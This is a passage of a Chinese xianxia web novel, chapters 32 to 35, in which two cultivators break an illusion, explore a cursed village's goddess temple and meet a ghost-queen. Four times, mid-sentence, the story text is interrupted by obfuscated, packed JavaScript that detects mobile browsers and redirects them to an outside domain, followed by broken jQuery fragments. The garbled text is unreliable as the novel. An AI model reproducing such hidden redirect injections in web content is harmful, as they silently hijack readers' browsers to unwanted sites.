“啪”的一声,结界自那一点缓缓裂开,最终无影无踪。 她再次问道:“你……” 下一瞬,她叹了口气,自言自语道:“怎样才能出去呢?” “离开这里。” 崔羽落看向慕惊弦,见他面色苍白,神情有些恍惚,问道:“你……醒了?” 慕惊弦却再不答话,只是有些僵硬地站起身,向前走了几步,目光落在桌面上,不言不语。 崔羽落走到房间门口:“离开这里?”随后抬手推了推门,发现木门纹丝不动。 “这个门不会是拉的吧?” 崔羽落见门槛不在里面,笃定了这种想法,随后用两指捏着门板上凸起的棱,尝试拉动它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704830|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ——拉不开。 她回头瞥了一眼站着不动的慕惊弦,伸手用灵力探了探门,发现门上并无阵法结界。 那只能—— 她拔出刀,骤然下劈。 下一瞬,门板裂开,轰然落在地上。 ——大力出奇迹了。 她后退几步,待门板落下,正要定睛看看门外景象,忽见周围天旋地转。等尘埃落定,她发现自己又回到了方才的教室里。 慕惊弦坐在她身边,正盯着眼前的习题,神情似是十分困惑。 崔羽落笑道:“怎么了?” “这……是什么?” “这是豌豆花。” “什么?” 崔羽落见他不解,道:“这是一个幻境,不知为何进入了这样一个世界。” 慕惊弦不再纠结豌豆花,顿了顿,道:“我们进了溪桥村,便被传进了这样一个幻境中。而后,这个幻境会模糊人的意识,并激发人内心的畏惧,以此为食。” 崔羽落道:“是。然后进入幻境的人就会溺死在幻境里。” 她摸了摸腰间,发现空空如也,不禁疑惑道:“刀呢?刚才不是还用它劈开了那扇门吗?” 略加思考后,她神色凝重道:“会不会是因为刚才我和你双修,修为提升了一些,然后就可以……像传说中一样,凭空召唤出本命武器?” “刚才你和我双修?” “是啊,前面就是在这里,你还未苏醒,但我用结契符探查,发现你的生命力似乎有些弱,就尝试给你传送灵力。”崔羽落道,“然后你体内的戾气好像也被带动着有了反应,再后来,灵气和戾气好像在咱俩之间开始流动,这……好像可以称为双修吧?” “戾气?但是……” “但是什么?” 慕惊弦沉吟道:“修炼之道讲求天人合一摒除杂念,因此一般会十分排斥戾气。这种排斥不仅是思想上畏惧它,而且在戾气入体时也会受到反噬,若不及时将其排出,有可能会走火入魔。” 崔羽落盯着桌上的高考必背古诗文,点头道:“有道理,但是我好像没有什么不适感啊,更没有走火入魔。” 慕惊弦想了想:“可能是因为你内丹还未修成,灵脉也不稳,因此并不排斥戾气。” 崔羽落“嗯”了一声,目光落在书本上,有些走神。许久,她听见慕惊弦问道:“怎么了?” “寄蜉蝣于天地,渺沧海之一粟……”崔羽落无声地笑了笑,“我之前不爱背这些,后来才发现,写得真好啊。” “你之前不爱背这些?” “是啊,我之前觉得这些诗文,总是写得弯弯绕绕,每次好不容易背会几句,再去背下一段,结果新的没背会,旧的也忘了,”崔羽落坐起身,“所以我们怎样才能出去呢?刚才那个幻境,我把门劈开了,这个幻境的话,莫非……要把学校给炸了?” “怎么炸?” 崔羽落思考道:“找一找火药?” “那我们走吧。” “……啊?” 两人下了楼,崔羽落忽然道:“我知道了。” “知道什么?” “我们去找一找这个幻境的‘眼’。” 崔羽落顺着灵气,一路走到宿舍楼后的一片空地上。地面铺盖着砂石,似是准备修建什么东西,却最终废弃了。 她停下脚步,蹲了下来,伸手在旁边的砂土上画了个符。 片刻后,天色乍然昏暗了下去。她神色一凛,却发现体内灵气不自觉地开始涌动。空地之上,有一股阴沉的力量开始急旋而起,迅速迫近二人。 崔羽落正要拔刀相抗,却发现自己和慕惊弦之间忽然生出一股力道,将那凭空而起的阴风裹挟其中,并借此壮大了起来。 强悍的戾气在二人之间流动,并与崔羽落的气海灵脉相感应,最终汇入其中,源源不绝。 ——在幻境的“眼”内,这凭空而生的戾气竟自行汇入了她的灵脉,成为了可为她驱策的力量。 与此同时,她听见空中传来一个女子渺远空灵的声音—— “石火莹星,生灭如许,梦魂归去,莫问西东。” 32. 破幻 她竟在一片晦暗浑浊之中,被迫开始了合修。 与先前不同的是,二人处在幻境的眼位,周遭的戾气汹涌强悍而源源不绝,渐渐在二人之间形成某种奇异的脉络,缓缓渗透入她的灵脉中。 崔羽落看向身侧的慕惊弦,道:“这……应该不是要弄死我俩吧?” “不是。你可知道修炼之人常说的灵泉?” 崔羽落摇了摇头:“听说过,但……它具体是什么样,我并不清楚。” 慕惊弦解释道:“简单来说就是灵气充沛之所。修炼者在这里修炼,可达到事半功倍的效果。而这里和灵泉有些相似,但……充盈其中的不是灵气,而是戾气。” 崔羽落思考道:“这个幻境既然是以活人的恐惧为食,所以支撑这个幻境的,大概就是以此生出的戾气了。在幻境核心的‘眼’内,戾气聚集也在情理之中。” “是。” 她继续推测:“这个幻境从进入幻境的人身上抽取力量,然后越来越强,这种力量便是戾气。所以,我们在此处修炼,那……若是我们继续合修,在此过程中将这里的戾气纳入体内,是不是便可削弱幻境的力量?” “是的。幻境内,活人的力量与幻境的力量此消彼长,因此当人意识减弱,便会进一步被幻境剥夺神智,而当自身意志苏醒,便会发现幻境对自己的作用没那么强了。” “但若是幻境力量减弱会有什么影响呢?是我们力量变强然后破幻而出,还是幻境坍缩、我们继续被困在这里呢?” “幻境若是逐渐坍缩,那我们既然处在眼位,便可用法术尝试出去。” 崔羽落点头道:“用法术的话……我看书上写,一般是力量更强的一边起作用,而力量相对较弱的对面则会受到反噬。所以,若是我们的力量足够强,便可以掌握主动,脱离幻境。” “是这样的。” “但我还有一事不解。” “什么?” “修仙之人以天地灵气为料,以自身为炉,在体内修炼内丹,但这种修炼之法往往排斥戾气。那为何这两种气同为天地间自然而生的气,却如此不同呢?” “修仙之道追求天人合一,而大道无情,人却有七情六欲,若要顺应天道提升境界,便要压制内心的欲求,方可脱离尘世的枷锁,向天人之境更进一步。灵气为天地间的纯净之气,用灵气修炼时,修炼者的身心也能在此过程中得到净化,从而脱离蒙昧,窥见真我。但人有七情,便生执念,欲求不满,便生戾气,”慕惊弦顿了顿,“而执念和欲求与修仙之道相悖,由它们而生出的戾气也就被修士所排斥。如此看来,一个作为修炼的纯净养料,一个作为被排斥的浑浊之气,便成了对立而互相排斥的两种力量。” “但……我在修炼的过程中,好像没有排斥戾气啊?”崔羽落沉吟道,“是因为我并没有以灵气入道吗?” “是。” “既然如此,我若是同时以这两种力量修炼,又会怎样呢?” “可能会受到反噬。” “反噬啊……”崔羽落想了想,“先不管反不反噬的了,当务之急是在此地快速修炼,削减幻境的力量,然后再用法术出去。” 周围的戾气源源不断地流动,崔羽落感受着自己体内的力量缓缓变强,而空地上方的浑浊黑气随之减弱,不远处的宿舍楼渐渐现出方正的轮廓。 崔羽落看着空中两人交融的灵力,道:“不过我还有一个问题。” “什么问题?” “方才进入幻境,你看到了什么东西?” “……在玄昭修炼的场景。” 崔羽落想起自己前面经历的高考冲刺,问道:“为何?你不喜欢待在宗门修炼吗?” “为何要喜欢?” ——那就是不喜欢了。 崔羽落忽然想起成婚那日两人关于“假装喜欢修炼”的讨论,不禁笑了笑。 慕惊弦看着她道:“笑什么?” “我就是突然想起,不久前有人和我说,宗门里有很多嘴上说自己热爱练功,实则混吃等死的弟子,他不理解他们为何这样。我本以为你是看不惯此种行为,如今看来……” “看来什么?” “你自己不也没那么喜欢练功吗?” “但我从未说过我喜欢。” “好吧。” “那你呢,你方才在幻境中看到了什么?” 崔羽落想了想:“看到我……在读书。” 慕惊弦沉默了片刻,而后问道:“这里的场景,是你之前生活的地方吧?” 崔羽落顿了顿,答道:“是啊。” “但是这些建筑,我从来没有见过。” “因为,”崔羽落神神秘秘道,“我的家乡,在一个,很远、很远、很远的地方。” “有多远?” “……总之就是,很远。”崔羽落看着远处的操场,“说来你可能不信,我的家乡,在另一个世界。” “另一个世界?那你是如何来到现在的世界的?” “不知道,”崔羽落摇摇头,“不知道触发了什么东西,就突然来这里了。” 周遭的雾霭几乎完全消失了,崔羽落道:“现在试试出去吧。” 慕惊弦应了一声,随后凌空画了一张符。符文飘散在空中,在起伏的戾气间若隐若现,宛如水中流火。 “越水穿云,空华相谒。旧人不见,回首还真。” 下一瞬,周遭陷入黑暗。原本的风声陡然消失,取而代之的是无边的寂静。 崔羽落双脚落地,随后屏息凝神,以灵力探查着周围的情况。 过了许久,远处亮起了一束光。 她缓缓向亮处走去,但不知何时,寂静被风声打破,而凉风在黑暗中丝丝划过,使眼前的场景愈发诡谲莫测。 亮光的是一盏灯。它孤零零地坐于一张墨色桌案上,灯形如莲,火光柔和,却无端生出一种森然的冷意。 “她大概就是幻境的主人。”慕惊弦的声音在她身边不远处响起,她向桌案后面看去,只见一女子在高台上盘膝而坐,一头乌发如水流泻,素白衣裙层层叠叠,与青丝一道拖曳至灯下,苍白的面容沉在黑暗中,看不真切,在浓稠夜色中呈现出冷玉般的色泽。 崔羽落抬头看着她,女子不动不响,眼睫低垂,不知是闭着眼抑或是在俯视台下。崔羽落静立此地,有种被她冷冷盯着的错觉。 “……你好?” 那素衣女子自然没有回答。崔羽落走到桌案前,细细观察那盏莲花灯,许久,慕惊弦在她身后问道:“如何?” 崔羽落蹙眉道:“奇怪,这灯下没有燃料, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708848|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却为何能一直燃烧呢?不过……既然是在幻境中,那么或许它有自己的原理。”语毕,她伸手笼在灯旁,却发现向着烛光的掌心并未感受到任何温度,随后她小幅度扇了扇风,烛火依旧纹丝不动。 “我们……难道要拜一拜么?”崔羽落直起身,双手合十,微微俯身,再次站直时竟发现那莲花灯有了变化。 她盯着烛火,缓缓问道:“你看到了吗?灯里面的火苗好像……亮了一点。” “是的。” 但有种奇异的感觉骤然浮现,崔羽落抬眼看向那清晰了些许的女子轮廓,不禁屏住呼吸,过了片刻,她看着空中隐隐浮动的戾气,道:“她的力量好像在变强。” “可能是因为你刚才拜了拜她?”说罢,慕惊弦在她身边双手合十,虔诚地躬了躬身,烛火闪了闪,竟又黯了下去,“为何我拜了之后,烛火反而黯淡了一些呢?” “你方才拜她的时候,心中想了什么?” “心愿。” “难怪,我刚才只是拜了拜,心里没想别的。如此看来,我不够虔诚,她反而变强了,你虔诚,她却变弱了,真是奇怪。”崔羽落有些好奇地问道,“什么心愿?” “希望我们能尽快出去。” “……”崔羽落又看着那莲花灯,“也是,我也希望我们能尽快出去。要不你再拜一拜?让她再变弱一些,或许我们就能出去了。” 慕惊弦却上前一步:“不用那么麻烦。” 崔羽落看着他的动作,疑惑道:“那要如何?”便见他抬手施法,那烛火晃了晃,倏地熄灭了。 一片漆黑中,她了然道:“这烛火和她的力量息息相关,而她又是幻境的主人,所以火灭了,幻境……也就消失了?”话音刚落,周围骤然亮起,天光乍破,凉风阵阵,崔羽落不禁抬手挡了挡有些刺目的光线。 片刻后她放下手,发现自己又回到了溪桥村。只是村内的白雾淡了许多,不知是不是他们削弱了幻境力量的缘故。 崔羽落感应了一下结契符上的灵息:“他们几个应该也出来了,我们去找找他们。” “哎!你们在这里啊!”宋余舟不知从哪个角落窜了出来,笑着看着二人。 崔羽落没看到其他三人,问道:“其他三个人呢?你有没有见到他们啊?” “刚才和我在一起,走,去那边。” 崔羽落向前走了几步,又道:“他们刚才一直和你在一起?” 宋余舟答道:“是啊。” 崔羽落有点震惊:“幻境中你们也在一起?” “是的。不过我也很奇怪,为何你们两个偏偏没有和我们在一起。” 慕惊弦插话道:“不奇怪。” 宋余舟转头道:“怎么不奇怪?我们四个进了一个妖魔鬼怪遍地飞的荒村,要不是你俩消失了,我险些以为那幻境就是这溪桥村呢!” 崔羽落道:“我们方才进入的那个幻境,也险些让我们当成真的了。” 宋余舟摆摆手,信步向前:“走出来就好,不过这些还不是很重要,现在最重要的,是找到走出这个村子的方法。” 慕惊弦问道:“出不去了?” “不错。我们离开幻境之后又到了前面那块石头边上,但村庄仿佛被封住了一般,我们看不见外面的场景,也走不出去。” 33. 神女 崔羽落问道:“先前那个幻境让来到村庄的人有来无回,而我们出了幻境仍然无法走出,是因为……村子里面有鬼吗?” 宋余舟道:“大概是的,我们先在村子里四处看看吧。”便向前走去。 崔羽落看了一眼慕惊弦,心中有些疑惑,但还未发问,便听慕惊弦开口道:“他们四个进了同一个幻境,而我和你进了另一个幻境,这确实有些奇怪。” “……你刚才说并不奇怪的。” “我有一个猜测,那便是这进入的幻境和进幻境的人有关。既然幻境会吸食人内心的恐惧,那么,或许这幻境中的景象,和那人所畏惧的事物有关。” 崔羽落回道:“是。所以他们四人畏惧的是这村庄内的鬼怪,我和你畏惧的是……读书?我还是觉得这有些离谱。” “你害怕读书么?”慕惊弦想了想,“既然如此,我猜测是因为方才你我离得近,所以幻境便化成了你内心比较害怕的场景。而他们四人离得近,幻境便化为了其中某个人、或是某几个人所担忧和害怕的事物。” 崔羽落向前走着,拐过一个弯后便看到沈临澄、白渟和赵之闻坐在一块大石之上。沈临澄见到崔羽落,站起身来,笑道:“你刚才在幻境中看到什么了?我们看到的就是这个村子,但村子里遍地是厉鬼,真是骇人。” 崔羽落答道:“我刚才……看到,呃……” 沈临澄看她有些支支吾吾的样子,道:“很吓人吧?没事的,不说也没事,我们先往前去看看。” “其实……也没有很吓人,”崔羽落道,“我看到我在学堂,周围是一大堆书,我得把那些书上的东西都学会,不然就会被……发卖到其他地方去。” 沈临澄“啊”了一声,点点头道:“我觉得这个也很可怕,我小时候不爱读书,我爹还老让我读,想起来确实有些骇人。” “是啊。对了姐姐,你们进了幻境之后,是怎么出来的呢?” 沈临澄点了点宋余舟的方向:“他先一个一个地找到了我们几个人,然后又用了一堆符咒,最后就突然出来了。” “符咒?” “是啊。不过我听说他擅长精神系法术,所以这幻境既然是和人的精神有关,也算是、算是……” “专业对口?” 沈临澄肯定地点头:“对。” 与先前去过的镇子不同,溪桥村的魔气并非是散布在几处,而是如阴霾一样沉沉笼罩在整个村子里。几人在村内转了一圈后,慕惊弦道:“魔气最重的便是这一片了。但这里魔气太重,恐怕不能直接用法术将其除净。” 崔羽落问道:“但……这村庄闹鬼严重,为何我们走了这么久,没有见到任何鬼怪的踪迹呢?莫非是村内的鬼怪和方才那幻境有关,因此我们破了幻境,鬼怪的力量也被消减了,所以才没先前那么嚣张?” 宋余舟道:“破了幻境?既然如此,大概确实是这样。不过若想看看那些鬼怪,我们可以等夜里出来看看。” 沈临澄看着不远处的破败庙宇,若有所思道:“这溪桥村居然有这样一座庙宇,走,我们去看看。” 崔羽落抬眼望向破旧牌匾上模糊的“普渡”二字,余光却看到庙内光线昏暗,尘埃遍布,无端生出一种阴寒之感。她迈步向前,见庙内并无神像,而在桌案和香炉之后,是一幅斑驳的画像。 “神、女?”沈临澄的脚步顿在她身侧。 崔羽落看着那副面目全非的画像,道:“我们可否在这里使用回溯法咒,来看看此地之前发生了什么呢?” 慕惊弦道:“这里魔气太重,用不了回溯咒。” 崔羽落道了声“好吧”,迈步在庙内仔细查看。但不知是时间太久还是有人刻意破坏,庙内除了一些寻常的桌椅物件,并无其它有用的信息。 宋余舟打了个哈欠道:“既然如此,我们不如找找地方早点休息,半夜再出来捉鬼。” 先前一直沉默的白渟听见此话,瞪大眼睛道:“捉鬼?” “毕竟夜里阴气重,那些妖魔鬼怪才会出来活动嘛。这大白天的,他们都还在地底下睡大觉呢。” 沈临澄轻轻拍了拍白渟的后背,笑道:“那些鬼怪我们去相会便可,你晚上正常休息,无须担心,我们会设下保护阵法。” 几人出了神庙,兜兜转转许久,竟果真在村里寻得了一处看起来颇为不错的院落。虽说仍是十分破败,但和其它或房顶失踪、或坍塌成泥的房屋相比,足以称得上“豪华”了。 崔羽落走在石砖上,心想:之前住在这里的,想必是一户大户人家吧。 宋余舟又摸出一张符,默念了一串咒诀后,将符纸倏地抛向空中,而后道:“这个是清扫符。现在进去,不必打扫,直接就能上床睡觉。” 慕惊弦道:“那我们依旧是两人一个房间。” 宋余舟看了崔羽落一眼,像是有问题要问,但最终忍住了,只是点头道:“好。” 而后几人分散开来,崔羽落与慕惊弦进了一处厢房,放下行李后,她便在房间内走动起来。 房间内除了一张床,拐角处还有一处书架。她走到跟前,发现架子上有半张手帕,“咦”了一声,便伸出手,小心地将它摊开来。 帕子上写着半首词,字体工整,笔锋不显,颇为好看。 “昔年春半,棹远天涯路。流水浮光无觅处……” 后面的部分像是被谁撕了下来,不知遗落在哪里了。崔羽落继续在附近寻找,过了许久也没有找到另外半张帕子。她将那写着词句的手帕轻轻放回原位,而后道:“好像……有点饿了。” 慕惊弦回道:“这个村子看上去少说也有十几年没住人了,大概也没有什么能吃的东西了。” 崔羽落想起先前买的点心还有很多,正要开口,却听见一串脚步声由远及近,而后门被敲响,沈临澄的声音在门外响起。 “我好像发现了一些很重要的东西。” 崔羽落打开门,沈临澄没有走进来,而是拉着她向另一处走去:“前面到了房间,我就想着说不定四处搜搜能找到有用的线索,果不其然,我在一个房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732203|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间的柜子里发现了一些卷轴。” 崔羽落问道:“卷轴?里面写了什么东西?” “别看这个村庄这几年闹鬼,其实它二十年前就已经很邪门了,不过那个时候村子里还有很多人,但是那个卷轴上面写——” 崔羽落停在桌子前,看到了卷轴上的一行字。 “村内有诅咒,所有进入村庄之人不得离开。” 沈临澄道:“我用法术探了探,这卷轴上的第一行字是三十年前写下的,而在二十年前,又有人在这上面写了一些东西。” 崔羽落顺着她的手指看过去,缓缓念出那行字:“幸得仙君心怀慈悲,出手解困,立神女庙,虔心祈愿,香火不绝。而上苍垂怜,恶咒消散,村人终得自由,从此安宁长伴。” 沈临澄皱眉道:“所以……这个神女庙,就是我们前面看到的那个?那么那个画像上的神女究竟是什么人呢?还有这上面写的仙君,这村子后面弄成这个样子,我觉得说不定他才是个大骗子呢。” 崔羽落思索道:“卷轴上的意思是说,在遇到那个仙君之前,村子里一直有个诅咒,那就是只要进入村庄的人,都再也不能离开。所以这里的村民只能在村子里行动。直到卷轴上写的那个仙君出手,在村子里建立了神女庙,让村民供奉祈愿,然后……他们的诚心感动了上天,不能出村的诅咒便消失了?” 沈临澄想了想,而后道:“大致就是这样,但是根据后来的情况,那神女没有护佑几年,村子里的人就全离奇死了。不仅如此,后来村子里百鬼夜行,所有来到村庄的人都有进无出。” “也不知道中间究竟发生了什么。”崔羽落神色凝重,心中却有些狐疑地想:这神庙当真这么神? * 到了夜晚,几人聚在一起,吃着先前慕惊弦买下的一大堆点心。宋余舟有些含混地说:“这还挺好吃的,一会儿要去捉鬼,走之前确实得吃点好的,真是多谢崔姑娘了。” 崔羽落听到他说“走之前吃点好的”,心道:这话说得未免有些不吉利。 沈临澄道:“那一会儿我们怎么安排?” 宋余舟道:“不如我们两个先去探一探情况,你们四个留在房里。” 崔羽落“啊”了一声道:“我们四个留在房里?” 宋余舟点头道:“是。你俩夜晚还要双修。” 崔羽落噎了一下,随即恍然大悟。在仙门眼中,慕惊弦金盆洗手和妻子归隐田园,而在玄昭内知晓情况的人眼中,慕惊弦和她成婚,是为了双修疗伤。 她在白渟和赵之闻莫测的目光中点了点头:“确实。” 赵之闻却咳了两声道:“不如让他们三人留在此地,我和你们一起去。” 宋余舟思索片刻,道:“也可。” 过了一会儿,三人离开,三人留下。崔羽落和慕惊弦待在房内,而白渟以“不打扰二人双修”为由婉拒了崔羽落的邀请,独自待在另一间房。 慕惊弦原本坐在窗边,却忽然听见崔羽落低声说道:“不要坐在那里,来我身边。” 34. 鬼主 慕惊弦一愣,却见崔羽落用口型无声说道:“双修。” 他虽有疑惑,但仍起身在床边坐了下来。而崔羽落见他坐下,并无其它动作,只是压低声音道:“时候不早了,早些休息吧。”语毕,却微微挑了挑眉,眼神往侧边闪了闪。 慕惊弦见她示意,心领神会地“嗯”了一声,而后两人静默了下去,窗外的轻微动静夹杂在徐徐的风声里,几乎和草木的沙沙声融为一体,很难分辨。 崔羽落无声地笑了笑,随后仰身躺了下来。她躺下时的动作比平日大了一些,陈旧的床板在她的动作下发出“吱”的一声轻响。 这个房间的“床”十分简陋,它由几块木板拼成,床板之上只铺了一层不太厚的褥子。她好巧不巧地躺在两块木板之上,拼接的痕迹在背脊下颇为明显,但她只是调整了一下姿势,将一条胳膊枕在后脑勺下,而后望着床边亮着柔光的符咒。 她轻声道:“这个房间只有一张床,好在这张床很大,我们一人睡一边吧。” “好。” 她仍留意着屋外。在她的灵识中,那一缕刻意压抑着的呼吸声依旧停在原地,并未离开。 过了一会儿,她叹了口气,而后站起身。 慕惊弦躺在另一端,疑惑地问道:“怎么?” “锻炼身体。” “……你当真是因为喜欢锻炼?” 崔羽落快步走着,声音很低地说:“当然不是了。” “什么?” 崔羽落抬高声音道:“当然不是了。” “那是为什么?” “因为人在江湖身不由己。” 慕惊弦沉默片刻,道:“怎么就身不由己了?莫非是有人强迫你?或者是,你中了什么奇怪的符咒,若是每日锻炼不够,就会受到惩罚?” 崔羽落背对着他,愣了一瞬,道:“其实也不是。只不过……” 【恭喜宿主,今日活力值已达到240。】 她停下脚步,心道:我居然忘记在幻境中跑了一路的事了。 她坐回床边,静了片刻,方意识到屋外的呼吸声已经不在了。 “只不过什么?” “只不过……”崔羽落轻声道,“为什么白姑娘要悄悄观察我们呢?” 白渟回到房内,看了一眼门上所设的保护法阵,眸光沉了沉,随后迈步出了房间。她的脚步很轻,最终停在院落外。夜间雾霭依旧,远处的景象模糊在风中。 白渟回头看了一眼,确认周围没有其他活物后,她单手掐诀,旋即,一个男子的声音出现在她的识海。 “如何?他们有什么动静?” 白渟在识海中回道:“他们在……” 二人的交流仅存于她的识海之内,若是有人在周围,只会觉得是白渟在夜里发呆,绝不会想到这里还有另一个人在说话。 那男子有些不耐烦:“在干什么?不会是在做那种见不得人的事情吧?” “不是。他们在谈论锻炼身体,除此之外再无其他。” “锻炼身体?” “是。” 男子冷笑一声,随后仿佛消失一般,再没有出声。白渟在原地站了片刻,直到那男子的声音已消失了好一会儿,才悄悄回了房间。她坐在屋内,似是发了一会儿呆,许久后才回过神,悄悄延展开灵识。 她缓缓蹙起眉。 灵识中,那两人的房间内并无动静,仿佛两人陷入了酣睡。 “陷入酣睡?”崔羽落压低声音道。而后抬头看了看二人周围的法阵,“但有件事很奇怪,那就是我们这一路过来,并没有发现白姑娘有什么异常啊。她确实只是一个毫无灵力的寻常女子,身上也没有被操控的痕迹。” 她躺在床上,望着房梁:“不过我倒是感觉,这一路过来,魔气越来越重,会不会是有人刻意把我们引过来呢?但那人这样做是为了什么呢,难道只是想让我们来处理这溪桥村的妖魔鬼怪?” “村里有许多鬼,这些鬼会生出魔气。但这村里的魔气又太过浓重,就算是极恶之鬼,也难以在这些年里放出这么多魔气。” 妖魔鬼怪在修炼之时产生魔气,而魔气又会吸引更多的阴邪之物。魔气和鬼怪相生相依,因此魔气聚集之地,阴邪之物会愈来愈强,心怀执念的魂魄会在魔气充沛之处化为厉鬼,长留世间。 崔羽落道:“所以,二十年前,村庄里就已经有很多魔气了?” “嗯。” 【子时到,活力值清零。】 崔羽落偏头看向慕惊弦,准备在他暴走之时出手击晕。但过了许久,她只见空中戾气缓缓聚集,慕惊弦却没有其他动作。 “难道是因为白天我俩双修了?” “来。” “什么?”崔羽落见他闭着眼,脸色有些苍白,“来打晕你么?” “不是。你离我近一些,按照我说的方法运气。” 崔羽落“哦”了一声,起身和他相对而坐。但看到眼前人的脸色,她顿了顿,问道:“你……还好吗?” 慕惊弦摇了摇头:“还好。” “我有一个问题,先前你我双修之后,你可有什么感觉?比如身体不适或者别的什么?” “没有。” “好吧。”她凝神运气,按照慕惊弦所说,感受着身体内外两种力量的变化。 “这好像和先前在幻境中的双修不太一样。” “是的。” “这样的话……效率更高?” “是的。” 崔羽落见慕惊弦的脸色随灵力流转好了一些,不禁想道:如此看来,这双修……好像确实还不错? * 沈临澄、宋余舟和赵之闻向神女庙走去,但不知是不是夜色深重的原因,白日里觉得并不远的一截路似乎变长了许多。 道路两边的破败房屋在暗色中乌压压地连成一片,几乎辨不出差别,树木在风中沙沙摇曳,荒草遍地,乌云蔽月,路一眼望不到头。 而神庙笼罩在雾霭和夜色中,轮廓若隐若现,却没有随着几人的脚步而清晰起来。 沈临澄捏诀生起亮光,看着前方:“我怎么感觉这路有些奇怪。” 赵之闻道:“我们不会又进了幻境吧?” 宋余舟感应着结契符上的灵息,面色凝重道:“我能感应到他们三人的气息,所以我们应该没有进幻境。但还是得当心一些,你们不要离我太远。” 几人又走了一会儿,神庙始终和他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742140|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们保持着一定的距离,无法接近却又近在眼前。 宋余舟顿下脚步,从怀里摸出一张符纸。随着他松开手指,那张符缓缓飘向远处,最终停在空中一点。随后它的形状竟逐渐模糊了起来,最终消散不见,而那一片昏黑沉寂,仿佛一池无波无澜的死水。 沈临澄问道:“这是……探路符?” “不错。它消失了,说明前方有个法阵。我们不要再向前了。” 几人顿了脚步,前方却倏然起了变化。原本死寂的暗黑之中霎时搅合起波澜,阴风倏然开始急旋,而在飓风的中心,有东西正倾巢而出。周遭的凉风瞬间被引燃,在夜色中绽出爆裂的流光,色泽诡谲地将冷意裹挟其中。 流风宁息,浮光渐淡。崔羽落略微活动了一下手腕,长呼出一口气,道:“你觉得如何?” 慕惊弦回道:“还好。” “既然如此,以后你深夜戾气发作,我便不用再将你打晕过去了。”崔羽落站起身,舒展了一下四肢,“我觉得自己现在很强。对了。” “什么?” “我从结契符上感受到他们那边似乎有些危险,我想去看看。”崔羽落看着慕惊弦的脸色,道,“你在此地休息,我去看看那边的情况。如何?” “好。” 她提刀出了门,顺着结契符所指的方向一路疾行。 片刻后,她看着眼前浓稠的黑气,以及黑气之中身影不甚清晰的众鬼,一手拔出腰间长刀,一手捏诀,周围的戾气随咒诀浮动,并逐渐凝聚一处。而浓稠黑气受到戾气波动的影响,竟减缓了涌动,最终如浓云一般凝滞在空中,随夜风缓缓流转。 根据结契符上的灵息,几人距她还有一段距离。她捏着咒诀,提刀快步向前而去。 罡风乍起,模糊的黑影随风席卷向几人。 宋余舟抛出一张符,符纸上爆发出耀眼的光芒,那一片的鬼影如同触到火焰一般骤然退后。 赵之闻凌空一掌,浑厚劲力如一道坚不可摧的墙壁,将几道鬼影逼退数步。 沈临澄拔出匕首,锋刃挟带着灵力横劈向黑影。那几道鬼影霎时消散,但又缓缓凝聚成雾状的淡影,浮在空中。另一边又有几道黑影袭来,自她手中倏地生出一道结界,几道鬼影撞在结界上,缓缓向后退去。 “这只是一些低阶的鬼。”沈临澄语毕,却看到眼前的魔气仿佛被一个巨大的漩涡卷了进去,空中漂浮的鬼影也随之聚集向某处。 她“咦”了一声,向那边看去,只见崔羽落捏着诀,暗芒流转在她周围。她正要说什么,却见那些被吸附过去的鬼影瞬间凝聚为一个有形质的人影,自那人影之上乍然现出强悍至极的魔气,逼得她后退数步。 那些低阶的鬼化为阴邪的风,低顺地环绕在那个人影的周围。 那个人影逐渐清晰。 墨发迅速生长,将那人修长的身躯包裹其中。墨发与素衣在空中恣意飘飞,与此同时,一张苍白的面容在夜色中被描摹出来,逐渐扭曲成一个冷漠但妖异的笑容。 崔羽落看着眼前诡异至极的女人,不禁后退了一步。 眼前人的苍白身影和之前幻境中的人影重合。 她是先前的幻境之主,也是溪桥村的百鬼之主。 35. 入梦 女鬼赤足踏在地上,歪头依次看过几人。方才群魔乱舞的黑影此时安静地围绕在她的四周,宛如沉默的风围绕着它们所臣服的千年古木。 